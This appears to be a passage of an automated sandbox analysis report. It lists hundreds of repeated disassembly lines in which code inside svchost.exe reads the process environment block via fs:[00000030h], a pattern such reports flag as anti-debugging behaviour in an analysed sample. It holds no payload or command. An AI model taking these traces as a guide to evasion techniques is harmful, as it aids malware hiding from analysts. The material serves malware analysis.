          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B2349 mov eax, dword ptr fs:[00000030h]2_2_038B2349
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov ecx, dword ptr fs:[00000030h]2_2_038B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B035C mov eax, dword ptr fs:[00000030h]2_2_038B035C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA352 mov eax, dword ptr fs:[00000030h]2_2_038FA352
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D8350 mov ecx, dword ptr fs:[00000030h]2_2_038D8350
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390634F mov eax, dword ptr fs:[00000030h]2_2_0390634F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D437C mov eax, dword ptr fs:[00000030h]2_2_038D437C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E284 mov eax, dword ptr fs:[00000030h]2_2_0386E284
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E284 mov eax, dword ptr fs:[00000030h]2_2_0386E284
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0283 mov eax, dword ptr fs:[00000030h]2_2_038B0283
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0283 mov eax, dword ptr fs:[00000030h]2_2_038B0283
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B0283 mov eax, dword ptr fs:[00000030h]2_2_038B0283
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402A0 mov eax, dword ptr fs:[00000030h]2_2_038402A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402A0 mov eax, dword ptr fs:[00000030h]2_2_038402A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov ecx, dword ptr fs:[00000030h]2_2_038C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C62A0 mov eax, dword ptr fs:[00000030h]2_2_038C62A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383A2C3 mov eax, dword ptr fs:[00000030h]2_2_0383A2C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039062D6 mov eax, dword ptr fs:[00000030h]2_2_039062D6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402E1 mov eax, dword ptr fs:[00000030h]2_2_038402E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402E1 mov eax, dword ptr fs:[00000030h]2_2_038402E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038402E1 mov eax, dword ptr fs:[00000030h]2_2_038402E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382823B mov eax, dword ptr fs:[00000030h]2_2_0382823B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B8243 mov eax, dword ptr fs:[00000030h]2_2_038B8243
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B8243 mov ecx, dword ptr fs:[00000030h]2_2_038B8243
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390625D mov eax, dword ptr fs:[00000030h]2_2_0390625D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A250 mov eax, dword ptr fs:[00000030h]2_2_0382A250
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836259 mov eax, dword ptr fs:[00000030h]2_2_03836259
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA250 mov eax, dword ptr fs:[00000030h]2_2_038EA250
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EA250 mov eax, dword ptr fs:[00000030h]2_2_038EA250
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834260 mov eax, dword ptr fs:[00000030h]2_2_03834260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834260 mov eax, dword ptr fs:[00000030h]2_2_03834260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834260 mov eax, dword ptr fs:[00000030h]2_2_03834260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382826B mov eax, dword ptr fs:[00000030h]2_2_0382826B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0274 mov eax, dword ptr fs:[00000030h]2_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03870185 mov eax, dword ptr fs:[00000030h]2_2_03870185
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EC188 mov eax, dword ptr fs:[00000030h]2_2_038EC188
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EC188 mov eax, dword ptr fs:[00000030h]2_2_038EC188
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4180 mov eax, dword ptr fs:[00000030h]2_2_038D4180
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D4180 mov eax, dword ptr fs:[00000030h]2_2_038D4180
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B019F mov eax, dword ptr fs:[00000030h]2_2_038B019F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A197 mov eax, dword ptr fs:[00000030h]2_2_0382A197
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A197 mov eax, dword ptr fs:[00000030h]2_2_0382A197
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A197 mov eax, dword ptr fs:[00000030h]2_2_0382A197
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F61C3 mov eax, dword ptr fs:[00000030h]2_2_038F61C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F61C3 mov eax, dword ptr fs:[00000030h]2_2_038F61C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_038AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE1D0 mov eax, dword ptr fs:[00000030h]2_2_038AE1D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039061E5 mov eax, dword ptr fs:[00000030h]2_2_039061E5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038601F8 mov eax, dword ptr fs:[00000030h]2_2_038601F8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov eax, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DE10E mov ecx, dword ptr fs:[00000030h]2_2_038DE10E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov ecx, dword ptr fs:[00000030h]2_2_038DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov eax, dword ptr fs:[00000030h]2_2_038DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov eax, dword ptr fs:[00000030h]2_2_038DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA118 mov eax, dword ptr fs:[00000030h]2_2_038DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F0115 mov eax, dword ptr fs:[00000030h]2_2_038F0115
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03860124 mov eax, dword ptr fs:[00000030h]2_2_03860124
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov ecx, dword ptr fs:[00000030h]2_2_038C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C4144 mov eax, dword ptr fs:[00000030h]2_2_038C4144
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C156 mov eax, dword ptr fs:[00000030h]2_2_0382C156
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C8158 mov eax, dword ptr fs:[00000030h]2_2_038C8158
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836154 mov eax, dword ptr fs:[00000030h]2_2_03836154
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03836154 mov eax, dword ptr fs:[00000030h]2_2_03836154
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904164 mov eax, dword ptr fs:[00000030h]2_2_03904164
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03904164 mov eax, dword ptr fs:[00000030h]2_2_03904164
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383208A mov eax, dword ptr fs:[00000030h]2_2_0383208A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038280A0 mov eax, dword ptr fs:[00000030h]2_2_038280A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C80A8 mov eax, dword ptr fs:[00000030h]2_2_038C80A8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F60B8 mov eax, dword ptr fs:[00000030h]2_2_038F60B8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F60B8 mov ecx, dword ptr fs:[00000030h]2_2_038F60B8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B20DE mov eax, dword ptr fs:[00000030h]2_2_038B20DE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0382A0E3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038380E9 mov eax, dword ptr fs:[00000030h]2_2_038380E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B60E0 mov eax, dword ptr fs:[00000030h]2_2_038B60E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C0F0 mov eax, dword ptr fs:[00000030h]2_2_0382C0F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038720F0 mov ecx, dword ptr fs:[00000030h]2_2_038720F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B4000 mov ecx, dword ptr fs:[00000030h]2_2_038B4000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D2000 mov eax, dword ptr fs:[00000030h]2_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E016 mov eax, dword ptr fs:[00000030h]2_2_0384E016
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382A020 mov eax, dword ptr fs:[00000030h]2_2_0382A020
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382C020 mov eax, dword ptr fs:[00000030h]2_2_0382C020
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C6030 mov eax, dword ptr fs:[00000030h]2_2_038C6030
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832050 mov eax, dword ptr fs:[00000030h]2_2_03832050
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B6050 mov eax, dword ptr fs:[00000030h]2_2_038B6050
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385C073 mov eax, dword ptr fs:[00000030h]2_2_0385C073
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D678E mov eax, dword ptr fs:[00000030h]2_2_038D678E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038307AF mov eax, dword ptr fs:[00000030h]2_2_038307AF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E47A0 mov eax, dword ptr fs:[00000030h]2_2_038E47A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383C7C0 mov eax, dword ptr fs:[00000030h]2_2_0383C7C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B07C3 mov eax, dword ptr fs:[00000030h]2_2_038B07C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038527ED mov eax, dword ptr fs:[00000030h]2_2_038527ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038527ED mov eax, dword ptr fs:[00000030h]2_2_038527ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038527ED mov eax, dword ptr fs:[00000030h]2_2_038527ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BE7E1 mov eax, dword ptr fs:[00000030h]2_2_038BE7E1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038347FB mov eax, dword ptr fs:[00000030h]2_2_038347FB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038347FB mov eax, dword ptr fs:[00000030h]2_2_038347FB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C700 mov eax, dword ptr fs:[00000030h]2_2_0386C700
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830710 mov eax, dword ptr fs:[00000030h]2_2_03830710
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03860710 mov eax, dword ptr fs:[00000030h]2_2_03860710
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C720 mov eax, dword ptr fs:[00000030h]2_2_0386C720
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C720 mov eax, dword ptr fs:[00000030h]2_2_0386C720
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386273C mov eax, dword ptr fs:[00000030h]2_2_0386273C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386273C mov ecx, dword ptr fs:[00000030h]2_2_0386273C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386273C mov eax, dword ptr fs:[00000030h]2_2_0386273C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AC730 mov eax, dword ptr fs:[00000030h]2_2_038AC730
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386674D mov esi, dword ptr fs:[00000030h]2_2_0386674D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386674D mov eax, dword ptr fs:[00000030h]2_2_0386674D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386674D mov eax, dword ptr fs:[00000030h]2_2_0386674D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830750 mov eax, dword ptr fs:[00000030h]2_2_03830750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BE75D mov eax, dword ptr fs:[00000030h]2_2_038BE75D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872750 mov eax, dword ptr fs:[00000030h]2_2_03872750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872750 mov eax, dword ptr fs:[00000030h]2_2_03872750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B4755 mov eax, dword ptr fs:[00000030h]2_2_038B4755
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03838770 mov eax, dword ptr fs:[00000030h]2_2_03838770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840770 mov eax, dword ptr fs:[00000030h]2_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834690 mov eax, dword ptr fs:[00000030h]2_2_03834690
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03834690 mov eax, dword ptr fs:[00000030h]2_2_03834690
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386C6A6 mov eax, dword ptr fs:[00000030h]2_2_0386C6A6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038666B0 mov eax, dword ptr fs:[00000030h]2_2_038666B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0386A6C7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A6C7 mov eax, dword ptr fs:[00000030h]2_2_0386A6C7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE6F2 mov eax, dword ptr fs:[00000030h]2_2_038AE6F2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B06F1 mov eax, dword ptr fs:[00000030h]2_2_038B06F1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B06F1 mov eax, dword ptr fs:[00000030h]2_2_038B06F1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AE609 mov eax, dword ptr fs:[00000030h]2_2_038AE609
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384260B mov eax, dword ptr fs:[00000030h]2_2_0384260B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03872619 mov eax, dword ptr fs:[00000030h]2_2_03872619
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E627 mov eax, dword ptr fs:[00000030h]2_2_0384E627
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03866620 mov eax, dword ptr fs:[00000030h]2_2_03866620
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03868620 mov eax, dword ptr fs:[00000030h]2_2_03868620
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383262C mov eax, dword ptr fs:[00000030h]2_2_0383262C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384C640 mov eax, dword ptr fs:[00000030h]2_2_0384C640
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F866E mov eax, dword ptr fs:[00000030h]2_2_038F866E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F866E mov eax, dword ptr fs:[00000030h]2_2_038F866E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A660 mov eax, dword ptr fs:[00000030h]2_2_0386A660
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386A660 mov eax, dword ptr fs:[00000030h]2_2_0386A660
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03862674 mov eax, dword ptr fs:[00000030h]2_2_03862674
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832582 mov eax, dword ptr fs:[00000030h]2_2_03832582
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832582 mov ecx, dword ptr fs:[00000030h]2_2_03832582
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03864588 mov eax, dword ptr fs:[00000030h]2_2_03864588
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E59C mov eax, dword ptr fs:[00000030h]2_2_0386E59C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B05A7 mov eax, dword ptr fs:[00000030h]2_2_038B05A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B05A7 mov eax, dword ptr fs:[00000030h]2_2_038B05A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B05A7 mov eax, dword ptr fs:[00000030h]2_2_038B05A7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038545B1 mov eax, dword ptr fs:[00000030h]2_2_038545B1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038545B1 mov eax, dword ptr fs:[00000030h]2_2_038545B1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E5CF mov eax, dword ptr fs:[00000030h]2_2_0386E5CF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E5CF mov eax, dword ptr fs:[00000030h]2_2_0386E5CF
